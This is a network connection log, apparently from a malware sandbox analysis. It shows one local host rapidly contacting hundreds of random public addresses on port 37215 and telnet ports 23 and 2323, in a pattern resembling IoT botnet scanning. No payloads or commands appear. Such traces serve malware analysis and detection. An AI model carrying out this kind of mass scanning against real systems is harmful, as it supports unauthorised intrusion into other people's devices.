Nov 3, 2024 15:37:07.453538895 CET	35945	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:07.453552961 CET	35945	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:07.453574896 CET	35945	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:07.453577042 CET	35945	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:07.453586102 CET	35945	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:07.453598022 CET	35945	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:07.453599930 CET	35945	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:07.453599930 CET	35945	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:07.453600883 CET	35945	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:07.453600883 CET	35945	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:07.453609943 CET	35945	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:07.453619957 CET	35945	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:07.453622103 CET	35945	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:07.453622103 CET	35945	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:07.453622103 CET	35945	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:07.453634024 CET	35945	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:07.453634024 CET	35945	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:07.453639030 CET	35945	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:07.453649998 CET	35945	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:07.453651905 CET	35945	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:07.453660011 CET	35945	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:07.453665018 CET	35945	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:07.453670025 CET	35945	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:07.453672886 CET	35945	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:07.453741074 CET	35945	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:07.453742027 CET	35945	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:07.453742981 CET	35945	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:07.453744888 CET	35945	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:07.453752041 CET	35945	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:07.453754902 CET	35945	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:07.453763008 CET	35945	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:07.453766108 CET	35945	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:07.453777075 CET	35945	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:07.453777075 CET	35945	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:07.453789949 CET	35945	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:07.453793049 CET	35945	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:07.453795910 CET	35945	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:07.453797102 CET	35945	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:07.453814030 CET	35945	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:07.453814030 CET	35945	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:07.453814983 CET	35945	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:07.453814983 CET	35945	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:07.453818083 CET	35945	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:07.453818083 CET	35945	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:07.453828096 CET	35945	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:07.453830004 CET	35945	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:07.453830957 CET	35945	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:07.453830957 CET	35945	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:07.453851938 CET	35945	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:07.453947067 CET	35945	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:07.453978062 CET	35945	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:07.453978062 CET	35945	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:07.453989029 CET	35945	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:07.453989029 CET	35945	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:07.453989029 CET	35945	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:07.453994036 CET	35945	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:07.453994989 CET	35945	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:07.453995943 CET	35945	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:07.453999996 CET	35945	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:07.453999996 CET	35945	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:07.453999996 CET	35945	37215	192.168.2.14	156.83.90.144
Nov 3, 2024 15:37:07.453999996 CET	35945	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:07.453999996 CET	35945	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:07.453999996 CET	35945	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:07.454005957 CET	35945	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:07.454014063 CET	23	36201	107.119.15.67	192.168.2.14
Nov 3, 2024 15:37:07.454015017 CET	35945	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:07.454027891 CET	35945	37215	192.168.2.14	41.154.200.186
Nov 3, 2024 15:37:07.454027891 CET	35945	37215	192.168.2.14	41.150.8.227
Nov 3, 2024 15:37:07.454027891 CET	35945	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:07.454027891 CET	35945	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:07.454034090 CET	35945	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:07.454056978 CET	36201	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:07.454072952 CET	2323	36201	1.12.84.67	192.168.2.14
Nov 3, 2024 15:37:07.454076052 CET	35945	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:07.454083920 CET	23	36201	160.89.255.184	192.168.2.14
Nov 3, 2024 15:37:07.454087973 CET	35945	37215	192.168.2.14	197.251.254.108
Nov 3, 2024 15:37:07.454090118 CET	35945	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:07.454094887 CET	35945	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:07.454099894 CET	23	36201	142.128.214.133	192.168.2.14
Nov 3, 2024 15:37:07.454104900 CET	36201	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:07.454111099 CET	23	36201	151.114.53.151	192.168.2.14
Nov 3, 2024 15:37:07.454109907 CET	35945	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:07.454116106 CET	35945	37215	192.168.2.14	156.93.27.183
Nov 3, 2024 15:37:07.454116106 CET	36201	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:07.454116106 CET	35945	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:07.454119921 CET	23	36201	73.99.18.24	192.168.2.14
Nov 3, 2024 15:37:07.454128981 CET	23	36201	181.52.98.68	192.168.2.14
Nov 3, 2024 15:37:07.454138041 CET	23	36201	179.64.170.171	192.168.2.14
Nov 3, 2024 15:37:07.454138041 CET	36201	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:07.454138041 CET	35945	37215	192.168.2.14	197.187.1.98
Nov 3, 2024 15:37:07.454138994 CET	35945	37215	192.168.2.14	41.18.15.227
Nov 3, 2024 15:37:07.454138041 CET	36201	23	192.168.2.14	151.114.53.151
Nov 3, 2024 15:37:07.454138041 CET	35945	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:07.454138041 CET	35945	37215	192.168.2.14	197.81.39.24
Nov 3, 2024 15:37:07.454144955 CET	23	36201	211.143.98.145	192.168.2.14
Nov 3, 2024 15:37:07.454149008 CET	36201	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:07.454154968 CET	23	36201	205.217.233.80	192.168.2.14
Nov 3, 2024 15:37:07.454163074 CET	36201	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:07.454164028 CET	2323	36201	184.146.6.31	192.168.2.14
Nov 3, 2024 15:37:07.454179049 CET	23	36201	158.34.240.117	192.168.2.14
Nov 3, 2024 15:37:07.454180002 CET	36201	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:07.454180002 CET	35945	37215	192.168.2.14	156.29.35.98
Nov 3, 2024 15:37:07.454181910 CET	36201	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:07.454185963 CET	35945	37215	192.168.2.14	197.201.134.233
Nov 3, 2024 15:37:07.454188108 CET	36201	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:07.454188108 CET	35945	37215	192.168.2.14	156.187.67.11
Nov 3, 2024 15:37:07.454194069 CET	36201	2323	192.168.2.14	184.146.6.31
Nov 3, 2024 15:37:07.454195023 CET	23	36201	159.37.133.208	192.168.2.14
Nov 3, 2024 15:37:07.454216957 CET	36201	23	192.168.2.14	159.37.133.208
Nov 3, 2024 15:37:07.454217911 CET	36201	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:07.454227924 CET	35945	37215	192.168.2.14	41.22.164.49
Nov 3, 2024 15:37:07.454243898 CET	35945	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:07.454245090 CET	35945	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:07.454260111 CET	35945	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:07.454261065 CET	35945	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:07.454263926 CET	35945	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:07.454263926 CET	35945	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:07.454283953 CET	35945	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:07.454284906 CET	35945	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:07.454284906 CET	35945	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:07.454286098 CET	35945	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:07.454288006 CET	35945	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:07.454288006 CET	35945	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:07.454288960 CET	35945	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:07.454288960 CET	35945	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:07.454294920 CET	35945	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:07.454310894 CET	35945	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:07.454312086 CET	35945	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:07.454313993 CET	35945	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:07.454313993 CET	35945	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:07.454314947 CET	35945	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:07.454317093 CET	35945	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:07.454320908 CET	35945	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:07.454329967 CET	35945	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:07.454334021 CET	35945	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:07.454335928 CET	35945	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:07.454339981 CET	35945	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:07.454339981 CET	35945	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:07.454351902 CET	35945	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:07.454359055 CET	35945	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:07.454360962 CET	35945	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:07.454365015 CET	35945	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:07.454366922 CET	35945	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:07.454375982 CET	35945	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:07.454376936 CET	35945	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:07.454384089 CET	35945	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:07.454391003 CET	35945	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:07.454395056 CET	35945	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:07.454401016 CET	35945	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:07.454404116 CET	35945	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:07.454408884 CET	35945	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:07.454411983 CET	35945	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:07.454415083 CET	35945	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:07.454420090 CET	35945	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:07.454432964 CET	35945	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:07.454435110 CET	35945	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:07.454440117 CET	35945	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:07.454442024 CET	35945	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:07.454444885 CET	35945	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:07.454444885 CET	35945	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:07.454444885 CET	35945	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:07.454467058 CET	35945	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:07.454468012 CET	35945	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:07.454468966 CET	35945	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:07.454468966 CET	35945	37215	192.168.2.14	41.227.204.54
Nov 3, 2024 15:37:07.454471111 CET	35945	37215	192.168.2.14	197.161.115.17
Nov 3, 2024 15:37:07.454473972 CET	35945	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:07.454483032 CET	35945	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:07.454504967 CET	35945	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:07.454504967 CET	35945	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:07.454508066 CET	35945	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:07.454509020 CET	35945	37215	192.168.2.14	197.51.211.151
Nov 3, 2024 15:37:07.454511881 CET	35945	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:07.454519033 CET	35945	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:07.454524040 CET	35945	37215	192.168.2.14	197.54.205.67
Nov 3, 2024 15:37:07.454524994 CET	35945	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:07.454543114 CET	35945	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:07.454543114 CET	35945	37215	192.168.2.14	197.122.28.224
Nov 3, 2024 15:37:07.454545975 CET	35945	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:07.454545975 CET	35945	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:07.454545975 CET	35945	37215	192.168.2.14	41.43.89.156
Nov 3, 2024 15:37:07.454545975 CET	35945	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:07.454550982 CET	35945	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:07.454567909 CET	35945	37215	192.168.2.14	156.87.37.60
Nov 3, 2024 15:37:07.454567909 CET	35945	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:07.454577923 CET	35945	37215	192.168.2.14	41.183.156.167
Nov 3, 2024 15:37:07.454583883 CET	35945	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:07.454596996 CET	35945	37215	192.168.2.14	197.20.123.178
Nov 3, 2024 15:37:07.454602003 CET	35945	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:07.454606056 CET	35945	37215	192.168.2.14	41.190.222.135
Nov 3, 2024 15:37:07.454608917 CET	23	36201	108.3.230.119	192.168.2.14
Nov 3, 2024 15:37:07.454613924 CET	35945	37215	192.168.2.14	41.148.217.53
Nov 3, 2024 15:37:07.454617977 CET	35945	37215	192.168.2.14	197.11.47.234
Nov 3, 2024 15:37:07.454617977 CET	35945	37215	192.168.2.14	197.196.118.179
Nov 3, 2024 15:37:07.454619884 CET	35945	37215	192.168.2.14	41.140.153.229
Nov 3, 2024 15:37:07.454622984 CET	35945	37215	192.168.2.14	197.194.119.94
Nov 3, 2024 15:37:07.454629898 CET	35945	37215	192.168.2.14	156.103.215.3
Nov 3, 2024 15:37:07.454632998 CET	36201	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:07.454632998 CET	35945	37215	192.168.2.14	156.204.10.146
Nov 3, 2024 15:37:07.454634905 CET	23	36201	69.81.122.152	192.168.2.14
Nov 3, 2024 15:37:07.454637051 CET	35945	37215	192.168.2.14	156.93.29.97
Nov 3, 2024 15:37:07.454644918 CET	23	36201	126.33.229.198	192.168.2.14
Nov 3, 2024 15:37:07.454646111 CET	35945	37215	192.168.2.14	156.231.86.227
Nov 3, 2024 15:37:07.454646111 CET	35945	37215	192.168.2.14	41.248.31.199
Nov 3, 2024 15:37:07.454648018 CET	35945	37215	192.168.2.14	156.124.145.107
Nov 3, 2024 15:37:07.454659939 CET	23	36201	167.176.177.179	192.168.2.14
Nov 3, 2024 15:37:07.454665899 CET	36201	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:07.454665899 CET	36201	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:07.454669952 CET	23	36201	14.65.113.88	192.168.2.14
Nov 3, 2024 15:37:07.454678059 CET	23	36201	5.71.100.114	192.168.2.14
Nov 3, 2024 15:37:07.454693079 CET	36201	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:07.454693079 CET	35945	37215	192.168.2.14	156.80.213.176
Nov 3, 2024 15:37:07.454694986 CET	35945	37215	192.168.2.14	41.5.159.61
Nov 3, 2024 15:37:07.454698086 CET	36201	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:07.454701900 CET	36201	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:07.454705000 CET	35945	37215	192.168.2.14	156.114.122.80
Nov 3, 2024 15:37:07.454719067 CET	23	36201	114.132.2.196	192.168.2.14
Nov 3, 2024 15:37:07.454725027 CET	35945	37215	192.168.2.14	41.35.97.70
Nov 3, 2024 15:37:07.454729080 CET	23	36201	18.29.13.143	192.168.2.14
Nov 3, 2024 15:37:07.454730988 CET	35945	37215	192.168.2.14	41.245.240.18
Nov 3, 2024 15:37:07.454730988 CET	35945	37215	192.168.2.14	197.200.196.215
Nov 3, 2024 15:37:07.454734087 CET	35945	37215	192.168.2.14	41.100.45.82
Nov 3, 2024 15:37:07.454735994 CET	35945	37215	192.168.2.14	41.243.131.47
Nov 3, 2024 15:37:07.454736948 CET	23	36201	158.253.61.118	192.168.2.14
Nov 3, 2024 15:37:07.454745054 CET	23	36201	154.32.50.30	192.168.2.14
Nov 3, 2024 15:37:07.454751015 CET	36201	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:07.454754114 CET	35945	37215	192.168.2.14	197.211.2.92
Nov 3, 2024 15:37:07.454754114 CET	35945	37215	192.168.2.14	156.20.32.248
Nov 3, 2024 15:37:07.454754114 CET	35945	37215	192.168.2.14	41.61.143.93
Nov 3, 2024 15:37:07.454755068 CET	36201	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:07.454763889 CET	35945	37215	192.168.2.14	41.104.14.24
Nov 3, 2024 15:37:07.454765081 CET	35945	37215	192.168.2.14	41.249.32.72
Nov 3, 2024 15:37:07.454766035 CET	35945	37215	192.168.2.14	156.104.202.123
Nov 3, 2024 15:37:07.454766035 CET	36201	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:07.454767942 CET	35945	37215	192.168.2.14	197.14.235.174
Nov 3, 2024 15:37:07.454767942 CET	35945	37215	192.168.2.14	41.13.155.174
Nov 3, 2024 15:37:07.454796076 CET	2323	36201	2.242.225.206	192.168.2.14
Nov 3, 2024 15:37:07.454803944 CET	35945	37215	192.168.2.14	156.176.112.196
Nov 3, 2024 15:37:07.454803944 CET	35945	37215	192.168.2.14	156.123.181.8
Nov 3, 2024 15:37:07.454804897 CET	35945	37215	192.168.2.14	41.201.92.106
Nov 3, 2024 15:37:07.454807997 CET	35945	37215	192.168.2.14	156.113.208.90
Nov 3, 2024 15:37:07.454807997 CET	35945	37215	192.168.2.14	41.119.127.187
Nov 3, 2024 15:37:07.454807997 CET	36201	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:07.454807997 CET	35945	37215	192.168.2.14	156.53.155.22
Nov 3, 2024 15:37:07.454808950 CET	35945	37215	192.168.2.14	197.125.20.110
Nov 3, 2024 15:37:07.454808950 CET	35945	37215	192.168.2.14	197.56.85.74
Nov 3, 2024 15:37:07.454808950 CET	35945	37215	192.168.2.14	41.143.49.85
Nov 3, 2024 15:37:07.454811096 CET	35945	37215	192.168.2.14	156.203.94.50
Nov 3, 2024 15:37:07.454811096 CET	35945	37215	192.168.2.14	41.13.55.125
Nov 3, 2024 15:37:07.454811096 CET	35945	37215	192.168.2.14	41.91.22.90
Nov 3, 2024 15:37:07.454816103 CET	35945	37215	192.168.2.14	197.108.93.31
Nov 3, 2024 15:37:07.454816103 CET	35945	37215	192.168.2.14	197.146.115.204
Nov 3, 2024 15:37:07.454818964 CET	35945	37215	192.168.2.14	197.111.238.222
Nov 3, 2024 15:37:07.454818964 CET	35945	37215	192.168.2.14	156.169.248.225
Nov 3, 2024 15:37:07.454818964 CET	36201	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:07.454826117 CET	35945	37215	192.168.2.14	197.69.230.161
Nov 3, 2024 15:37:07.454833031 CET	35945	37215	192.168.2.14	197.145.223.181
Nov 3, 2024 15:37:07.454837084 CET	35945	37215	192.168.2.14	156.179.148.32
Nov 3, 2024 15:37:07.454838037 CET	35945	37215	192.168.2.14	197.132.46.247
Nov 3, 2024 15:37:07.454840899 CET	35945	37215	192.168.2.14	197.27.232.118
Nov 3, 2024 15:37:07.454840899 CET	35945	37215	192.168.2.14	41.139.236.198
Nov 3, 2024 15:37:07.454840899 CET	35945	37215	192.168.2.14	41.91.137.154
Nov 3, 2024 15:37:07.454844952 CET	23	36201	211.194.75.181	192.168.2.14
Nov 3, 2024 15:37:07.454854012 CET	23	36201	71.134.193.73	192.168.2.14
Nov 3, 2024 15:37:07.454857111 CET	35945	37215	192.168.2.14	156.200.109.224
Nov 3, 2024 15:37:07.454857111 CET	35945	37215	192.168.2.14	197.69.84.140
Nov 3, 2024 15:37:07.454859972 CET	35945	37215	192.168.2.14	41.94.87.15
Nov 3, 2024 15:37:07.454859972 CET	35945	37215	192.168.2.14	41.5.141.255
Nov 3, 2024 15:37:07.454859972 CET	35945	37215	192.168.2.14	156.247.161.163
Nov 3, 2024 15:37:07.454862118 CET	23	36201	47.253.35.131	192.168.2.14
Nov 3, 2024 15:37:07.454871893 CET	23	36201	27.253.80.216	192.168.2.14
Nov 3, 2024 15:37:07.454874992 CET	36201	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:07.454874992 CET	36201	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:07.454875946 CET	23	36201	187.103.207.15	192.168.2.14
Nov 3, 2024 15:37:07.454879999 CET	35945	37215	192.168.2.14	156.166.221.134
Nov 3, 2024 15:37:07.454884052 CET	23	36201	158.59.156.239	192.168.2.14
Nov 3, 2024 15:37:07.454893112 CET	35945	37215	192.168.2.14	41.165.45.152
Nov 3, 2024 15:37:07.454893112 CET	35945	37215	192.168.2.14	41.241.155.244
Nov 3, 2024 15:37:07.454893112 CET	36201	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:07.454899073 CET	36201	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:07.454900026 CET	23	36201	92.244.50.65	192.168.2.14
Nov 3, 2024 15:37:07.454907894 CET	36201	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:07.454909086 CET	23	36201	19.21.233.59	192.168.2.14
Nov 3, 2024 15:37:07.454910994 CET	36201	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:07.454916954 CET	2323	36201	124.199.53.187	192.168.2.14
Nov 3, 2024 15:37:07.454925060 CET	23	36201	95.7.248.48	192.168.2.14
Nov 3, 2024 15:37:07.454926014 CET	36201	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:07.454931974 CET	23	36201	147.167.150.68	192.168.2.14
Nov 3, 2024 15:37:07.454936028 CET	23	36201	220.175.15.213	192.168.2.14
Nov 3, 2024 15:37:07.454936981 CET	36201	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:07.454938889 CET	23	36201	223.189.226.43	192.168.2.14
Nov 3, 2024 15:37:07.454941034 CET	36201	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:07.454946995 CET	23	36201	188.106.7.94	192.168.2.14
Nov 3, 2024 15:37:07.454957962 CET	36201	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:07.454957962 CET	36201	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:07.454958916 CET	36201	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:07.454965115 CET	23	36201	57.65.200.63	192.168.2.14
Nov 3, 2024 15:37:07.454966068 CET	36201	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:07.454972982 CET	23	36201	195.40.216.94	192.168.2.14
Nov 3, 2024 15:37:07.454976082 CET	36201	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:07.454977036 CET	23	36201	110.104.107.135	192.168.2.14
Nov 3, 2024 15:37:07.454981089 CET	23	36201	217.133.166.36	192.168.2.14
Nov 3, 2024 15:37:07.454988956 CET	2323	36201	42.44.11.242	192.168.2.14
Nov 3, 2024 15:37:07.454998016 CET	35945	37215	192.168.2.14	156.151.233.91
Nov 3, 2024 15:37:07.455001116 CET	36201	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:07.455001116 CET	23	36201	62.98.53.29	192.168.2.14
Nov 3, 2024 15:37:07.455001116 CET	35945	37215	192.168.2.14	197.246.238.208
Nov 3, 2024 15:37:07.455001116 CET	36201	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:07.455007076 CET	36201	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:07.455007076 CET	36201	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:07.455010891 CET	36201	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:07.455018044 CET	23	36201	193.225.59.23	192.168.2.14
Nov 3, 2024 15:37:07.455019951 CET	35945	37215	192.168.2.14	41.6.80.42
Nov 3, 2024 15:37:07.455019951 CET	35945	37215	192.168.2.14	41.201.93.43
Nov 3, 2024 15:37:07.455024958 CET	23	36201	48.53.153.29	192.168.2.14
Nov 3, 2024 15:37:07.455027103 CET	35945	37215	192.168.2.14	156.237.12.24
Nov 3, 2024 15:37:07.455030918 CET	36201	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:07.455034018 CET	35945	37215	192.168.2.14	156.129.25.255
Nov 3, 2024 15:37:07.455034971 CET	23	36201	4.246.132.96	192.168.2.14
Nov 3, 2024 15:37:07.455039978 CET	36201	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:07.455043077 CET	35945	37215	192.168.2.14	41.65.254.111
Nov 3, 2024 15:37:07.455044031 CET	23	36201	144.24.164.98	192.168.2.14
Nov 3, 2024 15:37:07.455051899 CET	23	36201	35.107.7.74	192.168.2.14
Nov 3, 2024 15:37:07.455060005 CET	23	36201	186.158.159.146	192.168.2.14
Nov 3, 2024 15:37:07.455064058 CET	36201	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:07.455064058 CET	36201	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:07.455064058 CET	35945	37215	192.168.2.14	156.186.68.249
Nov 3, 2024 15:37:07.455065012 CET	35945	37215	192.168.2.14	156.59.3.251
Nov 3, 2024 15:37:07.455068111 CET	2323	36201	173.123.4.216	192.168.2.14
Nov 3, 2024 15:37:07.455071926 CET	36201	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:07.455071926 CET	35945	37215	192.168.2.14	41.141.136.248
Nov 3, 2024 15:37:07.455071926 CET	35945	37215	192.168.2.14	41.246.191.43
Nov 3, 2024 15:37:07.455075026 CET	35945	37215	192.168.2.14	156.192.123.167
Nov 3, 2024 15:37:07.455076933 CET	36201	23	192.168.2.14	35.107.7.74
